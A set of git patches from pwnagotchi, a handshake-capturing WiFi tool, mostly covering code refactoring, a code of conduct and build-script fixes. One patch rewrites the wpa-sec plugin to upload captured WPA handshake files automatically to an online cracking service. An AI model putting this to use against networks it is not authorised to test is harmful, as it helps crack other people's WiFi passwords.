AsyncTrainer): if new_shakes > 0: self._epoch.track(handshake=True, inc=new_shakes) - tot = core.total_unique_handshakes(self._config['bettercap']['handshakes']) + tot = utils.total_unique_handshakes(self._config['bettercap']['handshakes']) txt = '%d (%d)' % (len(self._handshakes), tot) if self._last_pwnd is not None: @@ -285,7 +286,7 @@ class Agent(Client, AsyncAdvertiser, AsyncTrainer): def _update_advertisement(self, s): run_handshakes = len(self._handshakes) - tot_handshakes = core.total_unique_handshakes(self._config['bettercap']['handshakes']) + tot_handshakes = utils.total_unique_handshakes(self._config['bettercap']['handshakes']) started = s['started_at'].split('.')[0] started = datetime.strptime(started, '%Y-%m-%dT%H:%M:%S') started = time.mktime(started.timetuple()) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/epoch.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/epoch.py index 0ef7869c..11c2b6da 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/epoch.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/epoch.py @@ -2,8 +2,8 @@ import time import threading import logging -import core import pwnagotchi +import pwnagotchi.utils as utils import pwnagotchi.mesh.wifi as wifi from pwnagotchi.ai.reward import RewardFunction @@ -174,22 +174,22 @@ class Epoch(object): self._epoch_data_ready.set() logging.info("[epoch %d] duration=%s slept_for=%s blind=%d inactive=%d active=%d hops=%d missed=%d " - "deauths=%d assocs=%d handshakes=%d cpu=%d%% mem=%d%% temperature=%dC reward=%s" % ( - self.epoch, - core.secs_to_hhmmss(self.epoch_duration), - core.secs_to_hhmmss(self.num_slept), - self.blind_for, - self.inactive_for, - self.active_for, - self.num_hops, - self.num_missed, - self.num_deauths, - self.num_assocs, - self.num_shakes, - cpu * 100, - mem * 100, - temp, - self._epoch_data['reward'])) + "deauths=%d assocs=%d handshakes=%d cpu=%d%% mem=%d%% temperature=%dC reward=%s" % ( + self.epoch, + utils.secs_to_hhmmss(self.epoch_duration), + utils.secs_to_hhmmss(self.num_slept), + self.blind_for, + self.inactive_for, + self.active_for, + self.num_hops, + self.num_missed, + self.num_deauths, + self.num_assocs, + self.num_shakes, + cpu * 100, + mem * 100, + temp, + self._epoch_data['reward'])) self.epoch += 1 self.epoch_started = now diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/view.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/view.py index ca748a0a..78e75b6c 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/view.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/view.py @@ -4,7 +4,7 @@ import time import logging from PIL import Image, ImageDraw -import core +import pwnagotchi.utils as utils import pwnagotchi.plugins as plugins from pwnagotchi.voice import Voice @@ -86,8 +86,9 @@ class View(object): 'face': Text(value=faces.SLEEP, position=face_pos, color=BLACK, font=fonts.Huge), - 'friend_face': Text(value=None, position=(0, (self._height * 0.88) - 15 ), font=fonts.Bold, color=BLACK), - 'friend_name': Text(value=None, position=(40,(self._height * 0.88) - 13 ), font=fonts.BoldSmall, color=BLACK), + 'friend_face': Text(value=None, position=(0, (self._height * 0.88) - 15), font=fonts.Bold, color=BLACK), + 'friend_name': Text(value=None, position=(40, (self._height * 0.88) - 13), font=fonts.BoldSmall, + color=BLACK), 'name': Text(value='%s>' % 'pwnagotchi', position=name_pos, color=BLACK, font=fonts.Bold), @@ -166,7 +167,7 @@ class View(object): self.set('channel', '-') self.set('aps', "%d" % log.associated) self.set('shakes', '%d (%s)' % (log.handshakes, \ - core.total_unique_handshakes(self._config['bettercap']['handshakes']))) + utils.total_unique_handshakes(self._config['bettercap']['handshakes']))) self.set_closest_peer(log.last_peer) def is_normal(self): diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/utils.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/utils.py index 8761a59c..28a627a4 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/utils.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/utils.py @@ -1,6 +1,9 @@ -import yaml -import os import logging +import glob +import os +import time +import subprocess +import yaml # https://stackoverflow.com/questions/823196/yaml-merge-in-python @@ -40,3 +43,38 @@ def setup_logging(args, config): console_handler = logging.StreamHandler() console_handler.setFormatter(formatter) root.addHandler(console_handler) + + +def secs_to_hhmmss(secs): + mins, secs = divmod(secs, 60) + hours, mins = divmod(mins, 60) + return '%02d:%02d:%02d' % (hours, mins, secs) + + +def total_unique_handshakes(path): + expr = os.path.join(path, "*.pcap") + return len(glob.glob(expr)) + + +def iface_channels(ifname): + channels = [] + output = subprocess.getoutput("/sbin/iwlist %s freq" % ifname) + for line in output.split("\n"): + line = line.strip() + if line.startswith("Channel "): + channels.append(int(line.split()[1])) + return channels + + +def led(on=True): + with open('/sys/class/leds/led0/brightness', 'w+t') as fp: + fp.write("%d" % (0 if on is True else 1)) + + +def blink(times=1, delay=0.3): + for t in range(0, times): + led(True) + time.sleep(delay) + led(False) + time.sleep(delay) + led(True) From 499f1377201f76ec46d70920cca59167e4e8b643 Mon Sep 17 00:00:00 2001 From: evilsocket Date: Fri, 4 Oct 2019 00:27:05 +0200 Subject: [PATCH 17/64] Create CODE_OF_CONDUCT.md --- CODE_OF_CONDUCT.md | 76 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 76 insertions(+) create mode 100644 CODE_OF_CONDUCT.md diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 00000000..047f1e29 --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,76 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as +contributors and maintainers pledge to making participation in our project and +our community a harassment-free experience for everyone, regardless of age, body +size, disability, ethnicity, sex characteristics, gender identity and expression, +level of experience, education, socio-economic status, nationality, personal +appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment +include: + +* Using welcoming and inclusive language +* Being respectful of differing viewpoints and experiences +* Gracefully accepting constructive criticism +* Focusing on what is best for the community +* Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +* The use of sexualized language or imagery and unwelcome sexual attention or + advances +* Trolling, insulting/derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or electronic + address, without explicit permission +* Other conduct which could reasonably be considered inappropriate in a + professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable +behavior and are expected to take appropriate and fair corrective action in +response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or +reject comments, commits, code, wiki edits, issues, and other contributions +that are not aligned to this Code of Conduct, or to ban temporarily or +permanently any contributor for other behaviors that they deem inappropriate, +threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces +when an individual is representing the project or its community. Examples of +representing a project or community include using an official project e-mail +address, posting via an official social media account, or acting as an appointed +representative at an online or offline event. Representation of a project may be +further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported by contacting the project team at pwnagotchi@gmail.com. All +complaints will be reviewed and investigated and will result in a response that +is deemed necessary and appropriate to the circumstances. The project team is +obligated to maintain confidentiality with regard to the reporter of an incident. +Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good +faith may face temporary or permanent repercussions as determined by other +members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, +available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html + +[homepage]: https://www.contributor-covenant.org + +For answers to common questions about this code of conduct, see +https://www.contributor-covenant.org/faq From aeebf66fa7b187550859947912fe65fdcfa743d6 Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Fri, 4 Oct 2019 00:28:49 +0200 Subject: [PATCH 18/64] added project subreddit --- docs/index.md | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/index.md b/docs/index.md index 36e97f88..806c648d 100644 --- a/docs/index.md +++ b/docs/index.md @@ -12,6 +12,7 @@ - [Project Slack](https://join.slack.com/t/pwnagotchi/shared_invite/enQtNzc4NzY3MDE2OTAzLTg5NmNmNDJiMDM3ZWFkMWUwN2Y5NDk0Y2JlZWZjODlhMmRhNDZiOGMwYjJhM2UzNzA3YjA5NjJmZGY5NGI5NmI) - [Project Twitter](https://twitter.com/pwnagotchi) +- [Project Subreddit](https://www.reddit.com/r/pwnagotchi/) - [Project Website](https://pwnagotchi.ai/) ## License From affb8c27c3719e31d3113626c8a10c7cc29036ff Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Fri, 4 Oct 2019 00:33:06 +0200 Subject: [PATCH 19/64] refactor --- scripts/release.sh | 2 +- sdcard/rootfs/root/pwnagotchi/scripts/main.py | 3 +-- sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/__init__.py | 2 ++ sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/utils.py | 3 +-- 4 files changed, 5 insertions(+), 5 deletions(-) diff --git a/scripts/release.sh b/scripts/release.sh index 8b8d8cd8..2f1343af 100755 --- a/scripts/release.sh +++ b/scripts/release.sh @@ -1,7 +1,7 @@ #!/bin/bash # nothing to see here, just a utility i use to create new releases ^_^ -VERSION_FILE=$(dirname "${BASH_SOURCE[0]}")/../sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/version.py +VERSION_FILE=$(dirname "${BASH_SOURCE[0]}")/../sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/__init__.py echo "version file is $VERSION_FILE" CURRENT_VERSION=$(cat $VERSION_FILE | grep version | cut -d"'" -f2) TO_UPDATE=( diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/main.py b/sdcard/rootfs/root/pwnagotchi/scripts/main.py index 5ecb7ff2..4f881f39 100755 --- a/sdcard/rootfs/root/pwnagotchi/scripts/main.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/main.py @@ -5,7 +5,6 @@ import logging import pwnagotchi import pwnagotchi.utils as utils -import pwnagotchi.version as version import pwnagotchi.plugins as plugins from pwnagotchi.log import SessionParser @@ -39,7 +38,7 @@ plugins.on('loaded') display = Display(config=config, state={'name': '%s>' % pwnagotchi.name()}) agent = Agent(view=display, config=config) -logging.info("%s@%s (v%s)" % (pwnagotchi.name(), agent._identity, version.version)) +logging.info("%s@%s (v%s)" % (pwnagotchi.name(), agent._identity, pwnagotchi.version)) for _, plugin in plugins.loaded.items(): logging.debug("plugin '%s' v%s loaded from %s" % (plugin.__name__, plugin.__version__, plugin.__file__)) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/__init__.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/__init__.py index dacb09c6..c894d45f 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/__init__.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/__init__.py @@ -1,5 +1,7 @@ import subprocess +version = '1.0.0plz2' + _name = None diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/utils.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/utils.py index be7bb0f4..3b63d092 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/utils.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/utils.py @@ -2,7 +2,6 @@ import _thread import logging import pwnagotchi -import pwnagotchi.version as version import pwnagotchi.plugins as plugins from pwnagotchi.mesh import get_identity @@ -24,7 +23,7 @@ class AsyncAdvertiser(object): self._advertiser = Advertiser( self._config['main']['iface'], pwnagotchi.name(), - version.version, + pwnagotchi.version, self._identity, period=0.3, data=self._config['personality']) From 074f30f06fa0b7b09e16f7d516c1bf5f21cde504 Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Fri, 4 Oct 2019 00:33:44 +0200 Subject: [PATCH 20/64] refactor --- sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/version.py | 1 - 1 file changed, 1 deletion(-) delete mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/version.py diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/version.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/version.py deleted file mode 100644 index 17f3421b..00000000 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/version.py +++ /dev/null @@ -1 +0,0 @@ -version = '1.0.0plz2' From b5f02f617224721de240919c893c773919020e37 Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Fri, 4 Oct 2019 00:36:25 +0200 Subject: [PATCH 21/64] misc: small fix or general refactoring i did not bother commenting --- sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py index fe1455c4..0018bc38 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py @@ -7,8 +7,6 @@ from datetime import datetime import logging import _thread -import core - import pwnagotchi.utils as utils import pwnagotchi.plugins as plugins from bettercap.client import Client From 26fb21a7c761e4d87198998fc0df14f2847cee4f Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Fri, 4 Oct 2019 00:42:12 +0200 Subject: [PATCH 22/64] misc: small fix or general refactoring i did not bother commenting --- sdcard/rootfs/root/pwnagotchi/scripts/bettercap/__init__.py | 0 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py | 2 +- .../scripts/{bettercap/client.py => pwnagotchi/bettercap.py} | 0 3 files changed, 1 insertion(+), 1 deletion(-) delete mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/bettercap/__init__.py rename sdcard/rootfs/root/pwnagotchi/scripts/{bettercap/client.py => pwnagotchi/bettercap.py} (100%) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/bettercap/__init__.py b/sdcard/rootfs/root/pwnagotchi/scripts/bettercap/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py index 0018bc38..023fa2e1 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py @@ -9,7 +9,7 @@ import _thread import pwnagotchi.utils as utils import pwnagotchi.plugins as plugins -from bettercap.client import Client +from pwnagotchi.bettercap import Client from pwnagotchi.mesh.utils import AsyncAdvertiser from pwnagotchi.ai.train import AsyncTrainer diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/bettercap/client.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/bettercap.py similarity index 100% rename from sdcard/rootfs/root/pwnagotchi/scripts/bettercap/client.py rename to sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/bettercap.py From dae50bc65d37dcc74a6b26d6173e9cbc97a27c7e Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Fri, 4 Oct 2019 00:48:15 +0200 Subject: [PATCH 23/64] misc: small fix or general refactoring i did not bother commenting --- sdcard/rootfs/root/pwnagotchi/scripts/main.py | 6 +----- .../pwnagotchi/scripts/pwnagotchi/plugins/__init__.py | 8 ++++++++ 2 files changed, 9 insertions(+), 5 deletions(-) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/main.py b/sdcard/rootfs/root/pwnagotchi/scripts/main.py index 4f881f39..a593353e 100755 --- a/sdcard/rootfs/root/pwnagotchi/scripts/main.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/main.py @@ -29,11 +29,7 @@ args = parser.parse_args() config = utils.load_config(args) utils.setup_logging(args, config) -plugins.load_from_path(plugins.default_path, enabled=config['main']['plugins']) -if 'custom_plugins' in config['main'] and config['main']['custom_plugins'] is not None: - plugins.load_from_path(config['main']['custom_plugins'], enabled=config['main']['plugins']) - -plugins.on('loaded') +plugins.load(config) display = Display(config=config, state={'name': '%s>' % pwnagotchi.name()}) agent = Agent(view=display, config=config) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/__init__.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/__init__.py index 89afe109..bb090dad 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/__init__.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/__init__.py @@ -40,3 +40,11 @@ def load_from_path(path, enabled=()): loaded[name] = plugin return loaded + + +def load(config): + load_from_path(default_path, enabled=config['main']['plugins']) + if 'custom_plugins' in config['main'] and config['main']['custom_plugins'] is not None: + load_from_path(config['main']['custom_plugins'], enabled=config['main']['plugins']) + + on('loaded') From 683d260c749bc240278df4690ad619360ffc697e Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Fri, 4 Oct 2019 00:50:33 +0200 Subject: [PATCH 24/64] misc: small fix or general refactoring i did not bother commenting --- .../pwnagotchi/scripts/pwnagotchi/plugins/__init__.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/__init__.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/__init__.py index bb090dad..b6f33f3f 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/__init__.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/__init__.py @@ -43,8 +43,12 @@ def load_from_path(path, enabled=()): def load(config): - load_from_path(default_path, enabled=config['main']['plugins']) - if 'custom_plugins' in config['main'] and config['main']['custom_plugins'] is not None: - load_from_path(config['main']['custom_plugins'], enabled=config['main']['plugins']) + enabled = config['main']['plugins'] + custom_path = config['main']['custom_plugins'] if 'custom_plugins' in config['main'] else None + # load default plugins + load_from_path(default_path, enabled=enabled) + # load custom ones + if custom_path is not None: + load_from_path(custom_path, enabled=enabled) on('loaded') From 83705c27f5e5485142a5de0aef501231eaf5ad10 Mon Sep 17 00:00:00 2001 From: gh0stshell Date: Thu, 3 Oct 2019 16:19:47 -0700 Subject: [PATCH 25/64] Updated depends, bmaptool check update Removed bmap-tools from depends as the check on line 96 looks for bmaptools and would use it if available if not continue to build, but have it as a depend check made the check null and if someone is on a kernel/file-system that does not support SEEK_HOLE and SEEK_DATA the script just fails. Fixed bmap-tools check as the line which bmaptool >/dev/null 2>&1 does not return 0 so it kept ending at this line, if bmap-tools were not installed The original code below looks for sparse to be 0 and if which bmaptool >/dev/null 2>&1 returns 0 to use bmap-tools, but I think its the reverse so swapped the last then and else sections as it would then look if sparse is 0 and which bmaptool >/dev/null 2>&1 is 0 to not use bmap-tools, but if it is 1 to use bmap-tools. If tool is available = 1 use bmap-tools, if tools is unavailable=0 do not use bmap-tools: if [ "${OPT_SPARSE}" -eq 0 ]; then which bmaptool >/dev/null 2>&1 if [ $? -eq 0 ]; then echo "[+] Defaulting to sparse image generation as bmaptool is available" OPT_SPARSE=1 --- scripts/create_sibling.sh | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/scripts/create_sibling.sh b/scripts/create_sibling.sh index f2f5c5fd..973e95ec 100755 --- a/scripts/create_sibling.sh +++ b/scripts/create_sibling.sh @@ -5,7 +5,7 @@ set -eu REQUIREMENTS=( wget gunzip git dd e2fsck resize2fs parted losetup qemu-system-x86_64 ) -DEBREQUIREMENTS=( wget gzip git parted qemu-system-x86 qemu-user-static bmap-tools ) +DEBREQUIREMENTS=( wget gzip git parted qemu-system-x86 qemu-user-static ) REPO_DIR="$(dirname "$(dirname "$(realpath "$0")")")" TMP_DIR="${REPO_DIR}/tmp" MNT_DIR="${TMP_DIR}/mnt" @@ -93,11 +93,8 @@ function provide_raspbian() { function setup_raspbian(){ # Detect the ability to create sparse files - if [ "${OPT_SPARSE}" -eq 0 ]; - then - which bmaptool >/dev/null 2>&1 - if [ $? -eq 0 ]; - then + if [ "${OPT_SPARSE}" -eq 0 ]; then + if [ which bmaptool -eq 0 ]; then echo "[+] Defaulting to sparse image generation as bmaptool is available" OPT_SPARSE=1 else From 79871cd29149472e8717c7c0ce5367a95a3ed510 Mon Sep 17 00:00:00 2001 From: gh0stshell Date: Thu, 3 Oct 2019 16:21:02 -0700 Subject: [PATCH 26/64] Updated depends, bmap check update Removed bmap-tools from depends as the check on line 96 looks for bmaptools and would use it if available if not continue to build, but have it as a depend check made the check null and if someone is on a kernel/file-system that does not support SEEK_HOLE and SEEK_DATA the script just fails. Fixed bmap-tools check as the line which bmaptool >/dev/null 2>&1 does not return 0 so it kept ending at this line, if bmap-tools were not installed The original code below looks for sparse to be 0 and if which bmaptool >/dev/null 2>&1 returns 0 to use bmap-tools, but I think its the reverse so swapped the last then and else sections as it would then look if sparse is 0 and which bmaptool >/dev/null 2>&1 is 0 to not use bmap-tools, but if it is 1 to use bmap-tools. If tool is available = 1 use bmap-tools, if tools is unavailable=0 do not use bmap-tools: if [ "${OPT_SPARSE}" -eq 0 ]; then which bmaptool >/dev/null 2>&1 if [ $? -eq 0 ]; then echo "[+] Defaulting to sparse image generation as bmaptool is available" OPT_SPARSE=1 --- scripts/create_sibling.sh | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/scripts/create_sibling.sh b/scripts/create_sibling.sh index 973e95ec..8dfc2522 100755 --- a/scripts/create_sibling.sh +++ b/scripts/create_sibling.sh @@ -95,10 +95,11 @@ function setup_raspbian(){ # Detect the ability to create sparse files if [ "${OPT_SPARSE}" -eq 0 ]; then if [ which bmaptool -eq 0 ]; then + echo "[!] bmaptool not available, not creating a sparse image" + + else echo "[+] Defaulting to sparse image generation as bmaptool is available" OPT_SPARSE=1 - else - echo "[!] bmaptool not available, not creating a sparse image" fi fi From 31db4d062cb8a52300c084094b30337b296556c3 Mon Sep 17 00:00:00 2001 From: Forrest Fuqua Date: Thu, 3 Oct 2019 19:48:44 -0400 Subject: [PATCH 27/64] Update Inky Render to not crash the script Updated Inky so in case the render cannot display anything to the hardware everything else works (like the webbrowser) Other renders should do the same --- .../rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/display.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/display.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/display.py index ed6b188f..76e9a24d 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/display.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/display.py @@ -190,7 +190,10 @@ class Display(View): ]) self._display.set_image(img_buffer) - self._display.show() + try: + self._display.show() + except: + print("") def _papirus_render(self): self._display.display(self._canvas) From 01535176ed10695bc68d886ad21f6d7f8f1f4757 Mon Sep 17 00:00:00 2001 From: Forrest Fuqua Date: Thu, 3 Oct 2019 19:49:38 -0400 Subject: [PATCH 28/64] Update create_sibling.sh Fixed Array Call for the gender --- scripts/create_sibling.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/create_sibling.sh b/scripts/create_sibling.sh index f2f5c5fd..b7cbbeb0 100755 --- a/scripts/create_sibling.sh +++ b/scripts/create_sibling.sh @@ -341,7 +341,7 @@ gender[1]="girl" rand=$[ $RANDOM % 2 ] -echo -e "[+] Congratz, it's a ${arr[$rand]} (⌐■_■)!" +echo -e "[+] Congratz, it's a ${gender[$rand]} (⌐■_■)!" echo -e "[+] One more step: dd if=../${PWNI_OUTPUT} of= bs=4M status=progress" if [ "${OPT_SPARSE}" -eq 1 ]; From b7133e00404134cba71a8f214d6ae11bdbde9751 Mon Sep 17 00:00:00 2001 From: gh0stshell Date: Thu, 3 Oct 2019 19:07:13 -0700 Subject: [PATCH 29/64] Added known bug Added known package bug, not sure what it affects, only shows during create script run --- README.md | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 9a918906..b1dfb15c 100644 --- a/README.md +++ b/README.md @@ -38,9 +38,17 @@ For hackers to learn reinforcement learning, WiFi networking and have an excuse - [Project Twitter](https://twitter.com/pwnagotchi) - [Project Website](https://pwnagotchi.ai/) +## Known Bugs + +- GLib-ERROR **: 20:50:46.361: getauxval () failed: No such file or directory + +Affected DEB & Versions: QEMU <=2.11 + +Fix: Upgrade QEMU to >=3.1 + +Bug Link: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=923289 + ## License `pwnagotchi` is made with ♥ by [@evilsocket](https://twitter.com/evilsocket) and the [amazing dev team](https://github.com/evilsocket/pwnagotchi/graphs/contributors). It's released under the GPL3 license. - - From b8e6f9f979d8f1d34c2132400014e04b13285149 Mon Sep 17 00:00:00 2001 From: dadav <33197631+dadav@users.noreply.github.com> Date: Fri, 4 Oct 2019 09:11:32 +0200 Subject: [PATCH 30/64] Upload via python library --- .../pwnagotchi/plugins/default/wpa-sec.py | 56 ++++++++++--------- 1 file changed, 30 insertions(+), 26 deletions(-) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py index 64df84e7..30e136ef 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py @@ -1,25 +1,22 @@ __author__ = '33197631+dadav@users.noreply.github.com' __version__ = '1.0.0' -__name__ = 'wpa_sec' +__name__ = 'wpa-sec' __license__ = 'GPL3' __description__ = 'This plugin automatically uploades handshakes to https://wpa-sec.stanev.org' import os import logging -import subprocess +import requests READY = False API_KEY = None ALREADY_UPLOADED = None -# INSTALLATION: -## apt-get install libcurl4-openssl-dev -## https://github.com/ZerBea/hcxtools.git -## cd hcxtools; gcc wlancap2wpasec.c -o wlancap2wpasec -lcurl -## mv wlancap2wpasec /usr/bin/ - def on_loaded(): + """ + Gets called when the plugin gets loaded + """ global READY global API_KEY global ALREADY_UPLOADED @@ -28,50 +25,57 @@ def on_loaded(): logging.error("WPA_SEC: API-KEY isn't set. Can't upload to wpa-sec.stanev.org") return - try: - subprocess.call("wlancap2wpasec -h >/dev/null".split(), stdout=open(os.devnull, 'wb')) - except OSError: - logging.error("WPA_SEC: Can't find wlancap2wpasec. Install hcxtools to use this plugin!") - return - try: with open('/root/.wpa_sec_uploads', 'r') as f: ALREADY_UPLOADED = f.read().splitlines() except OSError: - logging.error('WPA_SEC: No upload-file found.') + logging.warning('WPA_SEC: No upload-file found.') ALREADY_UPLOADED = [] READY = True -def _upload_to_wpasec(path): - try: - subprocess.call(f"wlancap2wpasec -k {API_KEY} {path}".split(), stdout=open(os.devnull, 'wb')) - except OSError as os_e: - logging.error(f"WPA_SEC: Error while uploading {path}") - raise os_e +def _upload_to_wpasec(path, timeout=30): + """ + Uploads the file to wpa-sec.stanev.org + """ + with open(path, 'rb') as file_to_upload: + headers = {'key': API_KEY} + payload = {'file': file_to_upload} + + try: + requests.post('https://wpa-sec.stanev.org/?submit', + headers=headers, + files=payload, + timeout=timeout) + except requests.exceptions.RequestException as e: + logging.error(f"WPA_SEC: Got an exception while uploading {path} -> {e}") + raise e -# called in manual mode when there's internet connectivity def on_internet_available(display, config, log): + """ + Called in manual mode when there's internet connectivity + """ if READY: - handshake_dir = config['bettercap']['handshakes'] handshake_filenames = os.listdir(handshake_dir) handshake_paths = [os.path.join(handshake_dir, filename) for filename in handshake_filenames] handshake_new = set(handshake_paths) - set(ALREADY_UPLOADED) if handshake_new: - logging.info("Internet connectivity detected.\ + logging.info("WPA_SEC: Internet connectivity detected.\ Uploading new handshakes to wpa-sec.stanev.org") for idx, handshake in enumerate(handshake_new): - display.set('status', "Uploading handshake to wpa-sec.stanev.org ({idx + 1}/{len(handshake_new})") + display.set('status', f"Uploading handshake to wpa-sec.stanev.org ({idx + 1}/{len(handshake_new)})") display.update(force=True) try: _upload_to_wpasec(handshake) ALREADY_UPLOADED.append(handshake) with open('/root/.wpa_sec_uploads', 'a') as f: f.write(handshake + "\n") - except OSError: + except requests.exceptions.RequestException: pass + except OSError as os_e: + logging.error(f"WPA_SEC: Got the following error: {os_e}") From 20a89f732344c58e680d1c9de4ab101d7b22d821 Mon Sep 17 00:00:00 2001 From: dadav <33197631+dadav@users.noreply.github.com> Date: Fri, 4 Oct 2019 09:24:42 +0200 Subject: [PATCH 31/64] Add code --- .../plugins/default/onlinehashcrack.py | 83 +++++++++++++++++++ 1 file changed, 83 insertions(+) create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/onlinehashcrack.py diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/onlinehashcrack.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/onlinehashcrack.py new file mode 100644 index 00000000..5715be6b --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/onlinehashcrack.py @@ -0,0 +1,83 @@ +__author__ = '33197631+dadav@users.noreply.github.com' +__version__ = '1.0.0' +__name__ = 'onlinehashcrack' 